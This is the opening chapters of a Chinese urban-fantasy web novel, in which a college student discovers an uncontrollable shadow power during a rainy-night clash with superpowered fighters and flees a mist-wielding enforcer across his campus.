《暗影执掌者》
第1章:失控的影子
晚自习的下课铃像根生锈的发条,在空旷的走廊里吱呀转了三圈才彻底歇菜。费勇把最后一本《信号与系统》塞进背包时,指尖不小心蹭到了书脊上的折痕——那是上周被王磊的薯片油渍泡过的地方,现在还泛着圈恶心的黄。
“勇子,不等雨停?”后排传来薯片咀嚼的咔嚓声,王磊正把课本往他那个印着“随缘减肥”的帆布包里塞,“天气预报说今晚有雷暴,你那把瘸腿伞能扛住?”
费勇扯了扯嘴角没搭话。他天生不喜欢扎堆,尤其是这种黏糊糊的梅雨季,空气里总飘着股洗不干净的霉味,让他想起小时候寄人篱下时,表姑家阳台永远晒不干的袜子。更重要的是,那位自称“监护人”的远房表姑今晚要突袭查寝,她的碎碎念能让宿舍楼的声控灯彻夜长明,他可不想撞在枪口上。
“走了。”他含糊应了声,把连帽衫的帽子往头上一扣,拉链拉到鼻尖,活像个刚从银行抢完劫的劫匪。
从教学楼回宿舍的近路是条被学生们称为“奈何桥”的小巷。说是巷,其实就是两栋废弃教学楼之间的夹缝,墙皮剥落得像烂掉的创可贴,墙角堆着半人高的建筑垃圾,唯一的路灯半年前被醉汉当成保龄球砸了,现在只剩根歪脖子灯杆杵在那儿,晚上走夜路能吓出三魂七魄。
雨丝斜斜地往领子里钻,费勇把破伞攥得咯吱响。这把伞是入学时学长送的二手货,右数第三根伞骨断了,每次撑开都像只中风的企鹅。积水已经漫过脚踝,踩下去能踢起混着烂菜叶和塑料袋的水花,味道堪比食堂三天前的剩菜。
转过那个直角弯时,一股热浪突然迎面砸来,差点把他掀得原地转体三周半。
“轰!”
橙红色的火焰猛地窜起三米多高,像条发疯的火蛇舔着潮湿的墙壁,瞬间蒸发出大片白雾。费勇后背重重撞在砖墙上,感觉脊椎都在发颤。他瞪着眼睛透过雾气看去,巷子里站着两个让他怀疑自己是不是熬夜看出现幻觉的人。
左边的壮汉穿件黑色皮夹克,肌肉把衣服撑得像即将爆炸的气球,右臂盘着条青蛇纹身,蛇眼处镶着两颗红铆钉,在火光里闪得人眼晕。这家伙右手掌心正突突往外冒火,火苗在雨里跳迪斯科似的扭来扭去,居然半点不受雨水影响。
右边那人则透着股诡异的虚无感。瘦高个,穿件洗得发白的灰色风衣,兜帽压得极低,只能看见一截比墙皮还白的下巴。最离谱的是他的身体——雨水穿过他的肩膀时连个水花都不带起的,整个人像团没熬开的浆糊。
“裁决会的走狗,藏在雾里当缩头乌龟?”壮汉的声音像砂纸磨铁皮,“把东西交出来,老子让你死得痛快点!”
雾中人没吭声,身形却突然晃了晃。下一秒,无数条灰白色的雾带从他风衣里钻出来,跟长了眼睛似的缠向壮汉的脚踝。
“找死!”壮汉怒吼着拍向地面,火焰顺着指尖在积水里炸开一圈火墙,逼得雾带连连后退。蒸腾的热气把空气烤得扭曲,费勇感觉自己的睫毛都要被燎成卷毛了。
这不是拍电影。
费勇脑子里像被雷劈了似的嗡嗡响。他见过影视学院拍特效片,那些火焰要么是后期P的,要么是冷光道具,哪有能在水里烧得这么欢实的?更别说那个跟幽灵似的雾中人了。
心脏在胸腔里擂鼓,他想转身跑路,腿却像灌了水泥似的沉。一种莫名的恐惧攥住了他——不是怕眼前的打斗,而是怕自己一动弹,就会被这两个非人类盯上。
就在这时,雾中人突然膨胀成直径两米的浓雾团,带着呼啸声撞向壮汉。火焰瞬间被浓雾裹住,发出滋滋的闷响,光芒跟没电的灯泡似的暗了下去。
“卑鄙!”壮汉的吼声从雾团里挤出来,还夹杂着骨头错位的脆响。
费勇看得眼珠子都快掉出来了,他看见雾团里闪过几道红光,紧接着一股冲击波猛地扫过来。他像片被狂风卷起来的落叶,在空中划过道抛物线,然后——
“砰!”
额头撞在墙角的瞬间,费勇感觉整个世界都在跳迪斯科。剧痛顺着天灵盖往下灌,温热的液体从眉心淌下来,糊住了他的眼睛。他趴在积水里挣扎着想爬起来,却眼睁睁看着那股温热的液体一滴滴砸在地面上。
血。
他的血正落在自己的影子上。
雨还在下,积水泛着圈圈涟漪。费勇的影子本该随着他的动作一起晃动,此刻却像条活过来的泥鳅,边缘开始扭曲、蠕动,像融化的沥青似的不断拉长。原本半米长的影子悄无声息地越过积水,顺着墙角往那团浓雾爬去。
“呃啊——!”
凄厉的惨叫突然撕破浓雾。费勇眯着被血糊住的眼睛,看见自己的影子已经缠上了一条挣扎的腿——那是壮汉的腿,此刻正被影子勒得剧烈颤抖,像被钢缆捆住的猎物。
更诡异的是,随着影子收紧,壮汉身上的火焰正在以肉眼可见的速度熄灭。那些狂躁的火苗像被扎破的气球,一点点蔫下去,最后只剩几缕青烟在雨里打了个旋就没了。
“噗通!”
壮汉重重摔在积水里,溅起的水花打在费勇脸上。他挣扎着抬起头,满脸都是惊恐和难以置信,嘴巴张得能塞下两个鸡蛋,却发不出半点声音。几秒钟后,他的脑袋猛地耷拉下去,彻底没了动静。
死了?
费勇的喉咙像被堵住了,发不出任何声音。他能感觉到自己的影子还在微微起伏,像某种生物在呼吸。那道黑色轮廓的边缘泛着淡淡的灰光,刚才缠过壮汉脚踝的地方,黑得像泼了墨。
这时,浓雾开始收缩,重新聚成瘦高个的人形。兜帽下的脸依旧看不清,但费勇能清晰地感觉到一道视线落在自己身上。
那不是人类该有的眼神。
里面裹着震惊、贪婪,还有毫不掩饰的杀意,像毒蛇盯上了兔子,冰冷得能冻穿骨头。
雾中人缓缓转过身,右手抬起,掌心凝聚起一团灰白色的雾气,那团雾气里散发出的压迫感,让费勇的牙齿开始打颤。
他终于明白,自己撞进了一个远超想象的鬼地方。而他那道突然失控的影子,不仅干掉了一个“火焰人”,还把他自己,推到了万劫不复的边缘。
雨还在下,冲刷着地上的血迹,却冲不散那道诡异的影子,更冲不散空气中弥漫的死亡气息。
第2章:染血的学生证
雨丝像淬了冰的针,扎在费勇裸露的手背上生疼。他死死盯着眼前那团逐渐凝实的雾气,喉咙里发不出任何声音——刚才那道充满杀意的目光,像块烧红的烙铁,在他视网膜上烫出了个洞。
“你……”雾气里传来的声音像是被砂纸磨过的齿轮,每个字都带着金属摩擦的刺耳,“觉醒了?”
费勇的大脑一片空白。觉醒?这词儿他只在玄幻里见过。难道是说刚才那道失控的影子?可影子怎么会……
没等他理清思绪,那团灰白色的雾气突然动了。不是缓慢的流淌,而是像被无形的手狠狠甩过来的鞭子,带着破风的呼啸声缠向他的脖颈。
“操!”费勇浑身汗毛瞬间炸立,身体比大脑先做出反应。他猛地向后一仰,后腰重重撞在墙角的碎石堆上,疼得他龇牙咧嘴。但这狼狈的一躲,恰好避开了那道致命的雾鞭——雾气擦着他的鼻尖飞过,卷住了他身后半块松动的墙砖,瞬间将其腐蚀成一捧灰白色的粉末。
腐蚀?!费勇的瞳孔骤然收缩。这哪是什么烟雾,分明是强酸一样的东西!
就在他心脏狂跳的瞬间,眼角的余光瞥见地面上自己的影子又开始躁动。那道黑色的轮廓不再是扁平的贴在地上,而是像被吹起来的黑布般微微隆起,边缘泛起细碎的波纹。没等费勇反应过来,影子突然向上一翻,化作一道薄如蝉翼的黑色护盾,恰好挡在他身前。
“嗤——”
紧随而至的第二道雾鞭抽在黑盾上,发出布料被烧焦般的闷响。灰白色的雾气在黑色护盾表面疯狂翻滚、蒸腾,却始终没能穿透那层薄薄的暗影。
雾气里的人影明显顿了一下。几秒后,兜帽下传来一声压抑的惊呼,那声音里带着难以置信的震惊:“暗……暗影系异能?!”
费勇听不懂什么叫暗影系异能,但他清楚地看到,那道黑色的护盾正在微微颤抖,像是快要支撑不住。他能感觉到一种奇怪的联系——自己和这道影子之间,仿佛有根无形的线牵着,对方每承受一次冲击,他的太阳穴就跟着抽痛一下。
“裁决会执法,”雾气里的声音重新变得冰冷,带着不容置疑的命令口吻,“未登记异能者,立刻束手就擒!”
裁决会?这又是什么鬼?费勇脑子里的问号堆成了山,但求生的本能让他没空细想。他眼角的余光扫到脚边堆着半块板砖——大概是哪个缺德的施工队留下的,边缘还带着尖锐的水泥碴。
就是现在!
费勇猛地吸了口气,左手撑地,右手抓起板砖,用尽全身力气朝着雾气最浓的地方砸了过去。他没指望这一下能造成什么伤害,只求能争取一点点逃跑的时间。
“呵。”雾气里传来声轻蔑的嗤笑。那团灰白色的雾气像活物般向旁边一滑,轻松躲过了板砖的袭击。板砖砸在对面的墙上,碎裂的砖块溅起一片水花。
但费勇要的就是这个空隙。在对方侧身躲避的瞬间,他像只被踩了尾巴的猫,猛地从地上弹起来,转身就往小巷深处冲。他记得这条路的尽头有个废弃的排水口,平时被垃圾堵着,但只要能钻过去,就能绕到学校的后墙根——那里他熟,闭着眼睛都能找到三条逃生路线。
“想跑?”雾气里的人影显然没料到他会这么果断,怒吼一声,无数道雾丝像毒蛇般追了过来。
费勇能感觉到背后传来的灼热感——那不是温度的热,而是一种类似被毒蛇盯上的、毛骨悚然的压迫感。他不敢回头,只能拼了命地往前冲,积水被他踩得哗哗作响,溅了一裤腿的泥点子。
就在他即将冲到巷口时,口袋里突然传来一阵轻微的撕裂声。费勇心里咯噔一下,伸手一摸——糟了!是学生证!
大概是刚才摔倒时口袋被划破了,那张印着他照片和名字的蓝色卡片正晃晃悠悠地从破口处滑出来。他想伸手去捞,可身后的雾丝已经近在咫尺,他甚至能闻到那股类似消毒水混合着铁锈的诡异气味。
“嗤啦——”
学生证最终还是没能保住,随着他的冲刺从口袋里彻底滑落,“啪嗒”一声掉在积水里,溅起一朵小小的水花。费勇的心也跟着沉了下去,但他不敢停——现在回头捡证,跟自杀没区别。
他头也不回地冲出小巷,钻进对面那条堆满垃圾桶的窄胡同。身后传来雾气人捡起学生证的声音,以及一句冰冷刺骨的低语,那声音穿透雨幕,清晰地传进他耳朵里:
“费勇……星海学院……跑不掉的。”
费勇的心脏像是被一只冰冷的手攥住了。他能想象到对方拿着他的学生证,看着上面的信息,露出阴狠笑容的样子。那张小小的卡片上,不仅有他的照片、姓名、学号,还有学院和专业——这些信息足够对方轻易找到他的宿舍,他的班级,甚至他的课表。
“操!”他忍不住爆了句粗口,脚下却不敢有丝毫停顿。胡同里弥漫着垃圾桶散发的酸臭味,平时他避之不及,现在却觉得这味道无比亲切——至少能掩盖他的气味,哪怕只是心理作用。
他七拐八绕地穿过三条小巷,确认身后没有那团诡异的雾气追来,才靠在一堵斑驳的墙根下大口喘气。雨水混着额头上没擦干的血水流进眼睛里,又辣又疼,他抬手抹了一把,却把脸擦得更花,活像个刚从泥潭里爬出来的难民。
“呼……呼……”费勇扶着墙,努力平复着狂跳的心脏。刚才那短短几分钟的追逐,比他跑一千米测试还要累十倍,浑身上下的肌肉都在发颤,尤其是太阳穴,突突地跳着疼,像是有根针在里面不断搅动。
他低头看向自己的影子。在巷口昏暗的光线下,那道黑色的轮廓安静地贴在地上,看起来和平时没什么两样,既没有再变成护盾,也没有像刚才那样蠕动。如果不是额头上还在隐隐作痛,口袋里那个破洞还在提醒他刚才发生的一切,他几乎要以为那只是一场太过真实的噩梦。
可那道能腐蚀墙壁的雾鞭是真的,那道挡住攻击的黑色护盾是真的,还有那个拿着他学生证、说出他名字的“裁决会”执法者……也是真的。
费勇靠在墙上,慢慢滑坐在地上。冰冷的雨水浸透了他的裤子,让他打了个寒颤,但他却感觉不到冷。一种更深的寒意,从脊椎骨一路蔓延到四肢百骸——他知道,从今晚开始,他的人生轨迹,恐怕再也回不到原来的轨道上了。
那个叫“裁决会”的组织到底是什么来头?为什么对拥有“异能”的人如此敌视?自己的影子到底发生了什么?还有十年前父母失踪的那场“异能觉醒潮”……这些以前只在新闻里听过只言片语的词汇,现在像一张无形的网,突然将他紧紧缠绕。
他想起小时候,表姑偶尔会翻出父母留下的旧照片,叹着气说:“你爸妈就是研究那些乱七八糟的东西才出事的。”当时他听不懂,只觉得父母的工作很神秘。现在想来,那些所谓的“乱七八糟的东西”,会不会就是和“异能”有关?
就在这时,口袋里的手机突然震动起来。费勇吓了一跳,差点把手机扔出去。他哆哆嗦嗦地掏出来一看,是王磊发来的微信:“勇子,你表姑来查寝了,说你再不回来她就去教务处告你夜不归宿!”
费勇的脸瞬间垮了下来。前有狼后有虎,这话大概就是说他现在的处境吧?一边是来历不明、要抓他去“裁决”的雾怪人,一边是能唠叨到让他原地爆炸的远房表姑。
他看着手机屏幕上王磊发来的消息,突然觉得有点滑稽。几分钟前他还在生死线上挣扎,现在却要考虑怎么应付表姑的查寝。这落差也太大了点。
“妈的,先顾眼前吧。”费勇苦笑了一下,挣扎着从地上站起来。不管怎么说,宿舍暂时还是安全的——至少他是这么希望的。而且他必须回去一趟,不仅是为了应付表姑,更重要的是,他得拿点钱和身份证,万一真要跑路,这些东西少不了。
他深吸一口气,最后看了一眼身后漆黑的小巷,确认没有异常后,压低帽檐,朝着宿舍的方向摸去。雨还在下,夜色像浓稠的墨汁,将整个城市都浸泡在其中。费勇不知道的是,在他转身的瞬间,一道微弱的雾气,悄无声息地出现在他刚才停留过的墙角,然后缓缓消散在雨幕里。
第3章:觉醒的代价
宿舍楼的走廊比平时暗了三分,声控灯像是得了哮喘,费勇跺了三次脚才勉强亮起盏昏黄的光晕。他贴着墙根溜到307宿舍门口,手抖得差点插不进钥匙——不是怕宿管查寝,而是刚才狂奔时被石子硌破的鞋底,此刻正往袜子里灌着雨水,冰凉的湿意顺着脚踝往上爬,活像有条小蛇在裤管里钻。
“咔哒。”钥匙终于拧动锁芯的瞬间,费勇几乎是撞开房门扑进去的。反手甩上门的同时,他摸黑摸到门后的插销“哐当”扣死,整个人背靠着门板滑坐在地,胸腔里的心脏跳得像要炸开,每一次搏动都带着太阳穴的抽痛。
宿舍里一片漆黑,王磊那家伙估计被表姑念叨得受不了,早就躲去隔壁打游戏了。费勇喘着粗气抬头,借着窗外透进来的微弱雨光,看见自己的影子长长地拖在地板上,随着他的呼吸轻轻起伏。
和平时没两样。
他试探着抬起手,影子也跟着抬起手;他蜷起腿,影子也乖乖蜷成一团。可指尖离地面还有半寸时,费勇突然顿住了——刚才在小巷里,他明明感觉到影子有种冰凉的韧性,像块浸了水的黑布,现在怎么摸起来还是普通的光影?
“难道是错觉?”费勇皱着眉,把右手缓缓伸向地面的影子。指尖穿过光与影的交界时,他猛地屏住呼吸——有了!
那股奇怪的触感又出现了。不是实体的硬度,也不是空气的虚无,而是像按在一块冻得半硬的果冻上,带着种滑溜溜的弹性。费勇的心跳漏了一拍,他想起刚才那道自动展开的黑盾,想起缠绕住火焰异能者的影子绳索,一个疯狂的念头不受控制地冒出来。
如果……如果能再试一次呢?
他深吸一口气,努力回忆着刚才在小巷里的感觉。紧张、恐惧、还有那种被死亡追着跑的窒息感……他盯着地面的影子,在心里疯狂默念:动啊!像刚才那样,变成盾!或者……随便什么都行!
影子纹丝不动。
费勇的额头渗出冷汗。他加大了意念,几乎是瞪着眼睛在跟影子较劲:“动啊!你给我动啊!”
还是没反应。那道黑色的轮廓依旧乖乖地贴在地上,仿佛刚才在小巷里大展神威的根本不是它。
“搞什么啊……”费勇泄气地瘫坐在地,难道刚才的一切真的是巧合?是他被吓得出现了幻觉?
就在这时,一阵尖锐的刺痛突然从太阳穴炸开!
“呃啊——!”费勇疼得捂住脑袋,感觉像有根烧红的钢针狠狠扎进了天灵盖,无数杂乱的声音在脑子里嗡嗡作响,像是有上百只蝉在同时尖叫。眼前的景象开始扭曲,宿舍的书桌、衣柜、王磊堆在墙角的臭球鞋,全都变成了模糊的色块,耳边甚至能听到雨水倒灌进脑子里的轰鸣声。
“操……”他咬着牙想撑起来,却发现手脚都在发软,视线里蒙上了一层淡淡的黑纱,连呼吸都变得困难。这感觉比宿醉第二天的头痛要猛烈十倍,像是有人在他脑浆里放了个搅拌机。
难道这就是使用那种力量的代价?费勇靠在门板上,疼得浑身发抖。他终于明白,刚才在小巷里影子的两次异动,恐怕不是他能主动控制的,更像是一种……应激反应?就像被烫到会缩手,被吓到会心跳加速一样。
“砰砰砰!”
突然响起的砸门声把费勇吓得差点蹦起来。那声音又重又急,像是有人在用锤子夯门,门板被震得嗡嗡作响,墙上的海报都跟着簌簌发抖。
“费勇!”一个冰冷的声音透过门板传进来,带着金属摩擦般的质感,正是那个烟雾异能者!“裁决会执法!开门受缚!”
费勇的血液瞬间冻结了。
他怎么找到这儿来的?!从刚才逃跑的小巷到宿舍,他绕了至少三条远路,中间还故意翻了次学校的后墙,这家伙是属狗的吗?鼻子这么灵?
“砰砰砰!砰砰砰!”砸门声越来越响,门板上的漆皮都被震掉了几块,插销处传来令人牙酸的“咯吱”声,看样子用不了几下就得被撞开。
“没时间想了!”费勇咬着牙,强忍着脑袋里的剧痛爬起来。宿舍就这么大点地方,窗户对着外面的操场,唯一的逃生路线就是……
他猛地转头看向阳台。
星海学院的老宿舍楼为了省钱,阳台都是开放式的,只有半人高的水泥护栏。从三楼跳下去虽然不至于摔死,但断条腿肯定免不了。可现在哪还有选择的余地?被外面那个雾怪人抓住,恐怕死得更惨。
“哐!”又一声巨响,门板被撞得向外凸了一块,插销的螺丝眼看就要崩开了。
“费勇!不要逼我们使用强制措施!”门外传来威胁的吼声,伴随着某种机械运转的“滋滋”声,听起来像是在准备什么武器。
费勇不再犹豫。他踉跄着冲到阳台,一把推开锈迹斑斑的铁门。冰冷的雨水瞬间灌了进来,打在他脸上像小刀子割一样。他低头看了眼楼下——昏黄的路灯照在湿漉漉的地面上,能看到操场边缘种着一排矮树丛,或许能起到点缓冲作用?
“哐当!”
身后传来插销崩断的脆响!
费勇甚至来不及回头,就听见一阵灰白色的雾气顺着门缝涌了进来,带着那股熟悉的消毒水混铁锈的味道。他头皮一炸,想也没想就翻上了阳台护栏。
“抓住他!”雾中传来怒吼。
费勇闭着眼往下一跳!
失重感只持续了一秒,后背就狠狠砸在了树丛里。万幸的是,这排灌木丛长得比想象中茂密,虽然枝桠刮得他后背火辣辣地疼,但好歹没摔断骨头。他顾不上疼,连滚带爬地从树丛里钻出来,刚想往操场另一侧的教学楼跑,就听见头顶传来“哗啦”一声——那个烟雾异能者居然也跟着跳了下来!
“跑啊!接着跑啊!”雾气凝聚成的人形落在地上,发出沉闷的响声,右手缓缓抬起,掌心的灰白色雾气比刚才更浓了,“我倒要看看,你的暗影异能能护你到几时!”
费勇的心脏提到了嗓子眼。他这才注意到,对方的左手手腕上多了个银色的东西,像是副缩小版的手铐,表面刻着奇怪的纹路,正隐隐发着光。这难道就是刚才在小巷里,对方掏出来的那个“异能抑制器”?
“别过来!”费勇下意识地后退,后背抵住了教学楼的墙壁。他现在脑子疼得快要炸开,连站都站不稳,更别说指望影子救命了。
烟雾异能者冷笑一声,一步步逼近:“束手就擒,还能留你个全尸。否则……”他故意晃了晃左手的银色手铐,“这东西可是暗影系异能者的克星。”
费勇的视线开始模糊,头痛像海浪一样一波波袭来。他知道自己跑不掉了,双腿发软得像灌了铅,连抬起手的力气都快没了。难道今天真的要死在这里?
就在这时,他眼角的余光瞥见教学楼侧面有个通往天台的消防梯!
那是栋老教学楼,消防梯的铁架子早就锈得不成样子,平时连清洁工都懒得上去。但现在,那摇晃的铁梯子在费勇眼里,简直就是救命稻草!
“再见了您内!”费勇突然爆发出最后的力气,猛地向消防梯冲去。他故意用肩膀撞开旁边的垃圾桶,铁皮桶“哐当哐当”滚了一地,暂时挡住了烟雾异能者的视线。
“找死!”对方怒吼着驱散垃圾桶,掌心的雾气瞬间化作数道鞭子抽了过来。
费勇连滚带爬地抓住消防梯的栏杆,手脚并用地往上爬。铁锈渣子蹭得他手心生疼,好几次差点打滑掉下去。身后的雾鞭“噼啪”地抽在铁架子上,腐蚀出一个个小坑,飞溅的铁屑擦着他的耳朵飞过去。
“快到了……快到了……”费勇咬着牙,终于爬到了天台入口。他反手拉开那扇沉重的铁门,连滚带爬地冲了进去,然后用尽全身力气把门“砰”地关上,摸索着找到门后的插销插上。
做完这一切,他才瘫倒在天台上,大口大口地喘着气。雨还在下,天台上积了薄薄一层水,倒映着远处城市的霓虹,有种诡异的平静。
可这份平静只持续了三秒钟。
“轰!”
一声巨响,天台的铁门被硬生生撞得向外凸起,插销的位置传来“咔嚓”的断裂声。
费勇的心沉到了谷底。他抬起头,看着那扇在撞击下不断变形的铁门,又看了看天台边缘——那里只有半米高的矮墙,外面就是十几米的高空。
退无可退了。
他扶着墙,摇摇晃晃地站起来,脑子里的疼痛稍微缓解了一些,但那种被死亡笼罩的窒息感却越来越浓。烟雾异能者撞门的声音越来越响,门板上的裂缝越来越大,灰白色的雾气已经开始从缝隙里渗出。
第4章:天台绝境
天台铁门崩裂的脆响像冰锥扎进耳朵时,费勇正盯着脚边一滩积水发愣。水面浮着片被风吹来的梧桐叶,叶尖的影子在涟漪里抖得像条受惊的鱼——这场景莫名眼熟,让他想起小时候蹲在表姑家门槛上看蚂蚁搬家,看阳光把自己的影子拉得老长,长到能缠住过路的流浪猫。
“哐当!”
生锈的铁门终于被整个撞飞,带着刺耳的金属摩擦声砸在积水里,溅起的水花劈头盖脸打了费勇一身。他猛地回神,看见那团灰白色的雾气裹挟着雨水涌进来,雾中隐约能看到个高大的轮廓,左手腕上的银色手铐正滋滋冒着蓝白色的电火花。
“跑不动了吧?”执法者的声音裹在雾里,像块冻硬的石头砸过来,“暗影系异能者,未登记觉醒,按裁决会条例,就地……”
“少废话!”费勇吼了一声,其实是在给自己壮胆。他退到天台边缘,后脚跟已经探出矮墙,再退半步就得体验自由落体。雨丝打在脸上生疼,他抹了把混着血和泥的脸,突然觉得这场景有点滑稽——半小时前还在为明天的随堂测验发愁,现在却要跟个会喷烟雾的怪人在天台决一死战。
执法者似乎被他的态度激怒了,雾气猛地膨胀开来,像块浸了毒的海绵朝他压过来。费勇立刻闻到那股熟悉的消毒水味,只是这次更浓,浓得呛嗓子,吸入一口就觉得肺里像着了火,忍不住剧烈咳嗽起来。
“咳咳……操……”他弯着腰咳得眼泪直流,视线瞬间模糊,只能看见灰白色的雾气像潮水般漫过来,所过之处,天台的水泥地面居然泛起了细密的泡沫,像是被强酸腐蚀着。
这哪是烟雾,分明是化骨水!
费勇捂着嘴往后躲,脚下却突然一滑——刚才铁门砸出的水洼里,不知何时积了层滑溜溜的黏液,大概是那雾气腐蚀地面的产物。他惊叫着向后倒去,后背重重撞在矮墙上,差点直接翻出去。
“抓住你了!”雾中传来冷笑,一道粗壮的雾鞭带着破空声抽过来,直取他的胸口。
费勇瞳孔骤缩,脑子里只剩下一个念头:完了。
就在这千钧一发之际,眼角的余光突然瞥见天台角落的阴影——那里堆着几根废弃的镀锌水管,大概是上次维修水箱时留下的。水管横七竖八地躺在地上,在路灯折射下投出几道细长的影子,像几条黑色的蛇盘踞在那里。
躲进去!
这个念头毫无征兆地跳进脑子里,快得像条件反射。费勇甚至来不及思考“躲进影子里”这种想法有多离谱,身体已经先一步做出反应——他死死盯着那道最粗的水管影子,集中了全部精神,像是在用力把自己“塞”进去。
下一秒,诡异的事情发生了。
费勇感觉自己的身体突然变得轻飘飘的,像是被揉成了一团墨汁。皮肤传来种奇怪的冰凉感,仿佛瞬间沉入了深秋的湖水。他低头看去,发现自己的手脚正在变得扁平、透明,边缘泛起模糊的黑晕,就像……就像一幅没干透的水墨画。
“什么?!”雾中的执法者发出一声惊怒交加的低吼。
费勇来不及惊讶,就感觉一股强大的吸力从地面传来。他的身体不受控制地向下沉去,穿过积水,穿过水泥地,最终“落”进了那道水管的影子里。
世界瞬间安静了。
耳边的风雨声、执法者的怒吼声、自己的心跳声,全都消失了。周围一片漆黑,却又不是纯粹的黑暗,更像是浸泡在墨色的水里,能感觉到周围流动的“质感”。他试着动了动手指,发现自己还能控制身体,只是四肢变得异常修长,像被拉成了橡皮筋。
这就是……影遁?
费勇的脑子嗡嗡作响。他能“看”到外面的景象——不是用眼睛,更像是种全方位的感知。他“看见”那名执法者愣在原地,雾团剧烈地翻滚着,显然没料到目标会凭空消失。他“看见”对方抬起戴着银色手铐的左手,那手铐上的电火花变得更密集了,滋滋的电流声刺得他耳膜发痒。
“暗影跳跃?不可能!刚觉醒的菜鸟怎么可能……”执法者的声音里带着难以置信的惊惶,他猛地扩大了雾气范围,灰白色的浓雾瞬间填满了整个天台,连路灯的光线都被吞噬了。
费勇缩在影子里瑟瑟发抖。他不知道这种状态能持续多久,也不知道自己能不能主动出去。刚才那一下完全是本能反应,现在让他再试一次,他连门都摸不着。更要命的是,他能感觉到影子外面那股腐蚀性的雾气正在扩散,离水管影子越来越近了。
就在这时,一个疯狂的念头突然冒了出来。
反杀?
这个词刚跳出来,费勇自己都吓了一跳。他从小到大连架都没怎么打过,最多就是帮王磊抢回被高年级抢走的零食,现在居然在想反杀一个能操控强酸烟雾的异能者?
可……不反杀,难道等着被找到然后挫骨扬灰吗?
执法者还在天台上疯狂地扩大雾气范围,嘴里咒骂着:“出来!我知道你在附近!暗影系的小杂碎,有种出来单挑!”
费勇看着“外面”那个在浓雾里横冲直撞的身影,又看了看自己现在所处的影子——离对方大概只有五米远,就在一堆废弃的水泥板后面。如果……如果他现在从影子里钻出去,趁对方没反应过来,能不能像刚才那样,让影子再发动一次攻击?
他的心脏开始狂跳。紧张、恐惧、还有一丝莫名的兴奋,像杂草一样在心里疯长。他想起刚才那道自动展开的黑盾,想起缠绕住火焰异能者的影子绳索,想起自己额头上的伤,口袋里的破洞,还有那张被抢走的学生证……
凭什么?凭什么他要像条丧家之犬一样被追杀?凭什么这些人可以随意剥夺别人的生命?
一股从未有过的勇气,夹杂着怒火,突然冲上了头顶。费勇深吸一口气,虽然知道在影子里深呼吸纯属徒劳,但这个动作让他稍微冷静了一些。他集中精神,盯着执法者脚下的影子,脑子里开始疯狂回忆刚才“进入”影子的感觉。
就在他准备尝试的瞬间,外面的执法者突然停下了动作。
“找到了……”雾中传来一声阴冷的笑,“原来躲在这儿。”
费勇的心猛地一沉。他“看见”执法者的目光锁定了水泥板后面的水管影子,右手缓缓抬起,一团比刚才更浓、更黑的雾气正在掌心凝聚,边缘甚至泛起了诡异的紫色。
“去死吧!”
雾气像颗小型炸弹般朝着水管影子砸了过来!
费勇吓得魂飞魄散,哪里还顾得上反杀,脑子里只剩下一个字:跑!
他像刚才那样,凭着本能将意识集中在天台另一端的阴影里——那里是通往消防梯的方向,有个巨大的水箱影子。他拼命“想”着要到那里去,身体周围的墨色水流瞬间剧烈地旋转起来!
又是那种熟悉的失重感。费勇感觉自己像颗被弹出的弹珠,在黑暗中飞速穿梭。眼前闪过无数模糊的光影碎片,像是快进的电影画面。等他再次稳住身形时,已经“落”进了水箱的影子里。
“轰隆!”
身后传来一声巨响,伴随着水泥炸裂的声音。费勇“回头”一看,发现刚才那道水管影子所在的位置,已经被炸出了一个半米深的坑,碎石混合着腐蚀性的白雾四处飞溅。
冷汗瞬间浸透了后背。
他再也不敢停留,趁着执法者被爆炸的烟尘阻挡视线的瞬间,再次集中精神,瞄准消防梯的阴影,发动了影遁。
这一次,他甚至能隐约感觉到自己“穿过”了执法者的影子。就在那短暂的接触中,一股狂暴的、带着电流感的力量猛地撞进他的意识,让他眼前一黑,差点从影遁状态中掉出去。
“呃啊!”费勇疼得闷哼一声,感觉像是被高压电打了一下,整个灵魂都在颤栗。
这就是……复制异能?
他来不及细想,身体已经落在了消防梯的影子里。外面的风雨声重新涌了进来,带着种失而复得的真实感。费勇不敢耽搁,强忍着灵魂被撕裂般的疼痛,解除了影遁状态。
双脚踩在冰冷的铁梯上时,他差点腿一软摔下去。刚才那几下影遁加上复制异能的反噬,让他的头痛比之前更剧烈了,眼前阵阵发黑,连站都站不稳。
“抓住他!他在消防梯!”雾中传来执法者暴怒的吼声,紧接着就是重物砸向铁梯的声音。
费勇咬着牙,手脚并用地往下爬。铁锈渣子嵌进掌心,疼得他龇牙咧嘴,却反而让他清醒了几分。他知道,这次绝对不能再被追上了。
天台上,执法者看着消防梯上那个踉跄的背影,眼中闪过一丝阴狠。他没有立刻追上去,而是抬起了左手,银色的手铐上,一枚细小的红点悄然亮起,对准了费勇的后心。
“跑吧……跑得越远,绝望就越彻底。”他低声自语,声音里带着种猫捉老鼠般的残忍,“裁决会的狩猎游戏,才刚刚开始。”
雨,还在下。
第5章:白衣医女
消防梯的铁阶在脚下发出“咯吱”的哀鸣,费勇的手掌被铁锈硌出几道红痕。他刚从天台坠落的冲击中缓过神,膝盖撞在水泥地上的刺痛就顺着骨头缝往上钻,像有根冰锥扎在关节里。雨丝混着冷汗滑进衣领,后背的衣服早已被冷汗浸透,贴在身上黏腻得难受。
“咳……”他弯腰扶着梯栏剧烈咳嗽,喉咙里涌上股铁锈味——刚才影遁时被执法者的电流扫到的地方,现在还在隐隐发麻。天台方向传来重物倒地的巨响,不用回头也知道,那名裹在雾里的执法者很快就会追上来。
费勇咬着牙往下冲,每一步都像踩在刀尖上。膝盖的伤口被雨水泡得发白,血珠混着泥水顺着裤腿往下滴,在铁梯上留下一串暗红的印记。他突然想起王磊总说他“跑八百米像逛公园”,此刻却觉得自己像是被按在跑步机上狂奔,肺里像塞了团浸了水的棉花,每一次呼吸都带着撕裂般的疼。
“砰!”脚底打滑,整个人往前扑去,幸好及时抓住了冰冷的铁栏,才没直接滚下去。费勇喘着粗气抬头,看见街角亮着盏暖黄的灯——是家24小时便利店。
他几乎是手脚并用地爬下最后几阶梯,踉跄着扑到便利店门口,推开玻璃门时,风铃“叮铃”响了一声,惊得他浑身一僵。
“欢迎光临——”收银台后的阿姨抬头笑了笑,话音在看到他的模样时顿住,“小伙子,你这是……”
费勇没力气回答,扶着货架就往里面挪。膝盖的刺痛越来越烈,头也开始发晕,影遁的反噬和伤口的疼痛搅在一起,让他眼前阵阵发黑。他摸索着想去拿货架最底层的矿泉水,指尖刚碰到瓶身,就听见玻璃门外传来熟悉的、带着电流杂音的声音。
“看见个穿灰外套的小子没?大概这么高,瘸着条腿。”
